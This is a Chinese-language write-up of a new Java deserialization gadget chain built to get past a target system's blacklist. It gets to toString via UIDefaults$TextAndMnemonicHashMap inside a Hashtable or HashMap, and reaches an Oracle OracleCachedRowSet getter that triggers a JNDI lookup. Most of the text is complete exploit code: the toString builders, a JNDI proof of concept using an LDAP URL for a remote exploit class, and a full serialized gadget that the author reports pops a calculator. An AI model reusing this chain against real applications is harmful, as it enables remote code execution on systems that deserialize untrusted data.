0x01 前因
某系统存在大量黑名单,前期找了新的入口点。但tj哥想找其他的触发点,最后找到了oracle数据库的jndi。
0x02 分析
代码上触发tostring的类(若badAttributeValueExpException,HotSwappableTargetSource,XStringForFSB,AudioFileFormat$Type)被搬掉了,没别的依赖。所以找了一条新的tostring。
javax.swing.UIDefaults.TextAndMnemonicHashMap
可以看到是map,然后调用了key的tostring,非常完美。
java.util.AbstractMap#equals
m是一个map,改成javax.swing.UIDefaults.TextAndMnemonicHashMap就可以走通,非常合理,java.util.AbstractMap是一个抽象类,所以我们只要找一个继承它又没有实现equals的方法就行了,感觉非常多了,haspmap,hashtable都可以。
hashtable触发tostring
public static Hashtable makeTableTstring(Object o) throws Exception{
Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
tHashMap1.put(o,"yy");
tHashMap2.put(o,"zZ");
setFieldValue(tHashMap1,"loadFactor",1);
setFieldValue(tHashMap2,"loadFactor",1);
Hashtable hashtable = new Hashtable();
hashtable.put(tHashMap1,1);
hashtable.put(tHashMap2,1);
tHashMap1.put(o, null);
tHashMap2.put(o, null);
return hashtable;
}
hashmap触发tostring
public static HashMap maskmapToString( Object o1, Object o2) throws Exception{
Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
tHashMap1.put(o1,null);
tHashMap2.put(o2,null);
setFieldValue(tHashMap1,"loadFactor",1);
setFieldValue(tHashMap2,"loadFactor",1);
HashMap hashMap = new HashMap();
Class node = Class.forName("java.util.HashMap$Node");
Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
constructor.setAccessible(true);
Object node1 = constructor.newInstance(0, tHashMap1, null, null);
Object node2 = constructor.newInstance(0, tHashMap2, null, null);
Field key = node.getDeclaredField("key");
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(key, key.getModifiers() & ~Modifier.FINAL);
key.setAccessible(true);
key.set(node1, tHashMap1);
key.set(node2, tHashMap2);
Field size = HashMap.class.getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object arr = Array.newInstance(node, 2);
Array.set(arr, 0, node1);
Array.set(arr, 1, node2);
table.set(hashMap, arr);
return hashMap;
}
由于黑名单比较丰富,网上常见的getter基本都被搬掉,最后找到Oracle数据库可以出发jndi。
OracleCachedRowSet#getConnectionInternal
这里直接new了一个InitialContext
然后进行了lookup,然后触发。
oracle.jdbc.rowset.OracleRowSet#getDataSourceName
可以看到是直接获取这个属性。可控。
抽象类,可序列化
oracle.jdbc.rowset.OracleCachedRowSet#getConnection 这个方法直接调用。
那种想到需要触发OracleCachedRowSet的getter()方法就能触发。
0x03 复现
import oracle.jdbc.rowset.OracleCachedRowSet;
import java.lang.reflect.Field;
public class Oracle {
public static void main(String[] args) throws Exception{
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();
oracleCachedRowSet.setDataSourceName("ldap://127.0.0.1:1389/remoteExploit8");
oracleCachedRowSet.getConnection();
}
}
日常jndi招呼计算器。
0x04 gadget
package test;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.Vector;
public class Oracle {
public static void main(String[] args) throws Exception {
try {
ClassPool pool1 = ClassPool.getDefault();
CtClass jsonNode = pool1.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = jsonNode.getDeclaredMethod("writeReplace");
jsonNode.removeMethod(writeReplace);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
jsonNode.toClass(classLoader, null);
} catch (Exception e) {
}
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();
Field dataSourceName_1 = OracleCachedRowSet.class.getSuperclass().getDeclaredField("dataSourceName");
dataSourceName_1.setAccessible(true);
dataSourceName_1.set(oracleCachedRowSet, "ldap://127.0.0.1:1389/remoteExploit8");
Vector v1 = new Vector();
v1.add(0, "111");
Vector v2 = new Vector();
v2.add(0, "222");
utils.setFieldValue(oracleCachedRowSet, "metaData", new String[]{"111", "222"});
utils.setFieldValue(oracleCachedRowSet, "matchColumnNames", v1);
utils.setFieldValue(oracleCachedRowSet, "matchColumnIndexes", v2);
utils.setFieldValue(oracleCachedRowSet, "monitorLock", null);
POJONode node = new POJONode(oracleCachedRowSet);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
utils.setFieldValue(badAttributeValueExpException, "val", node);
byte[] serialize = utils.serialize(badAttributeValueExpException);
utils.unserialize(serialize);
}
}
招呼计算器成功,最后用hashtable或者hashmap替换一下就行了。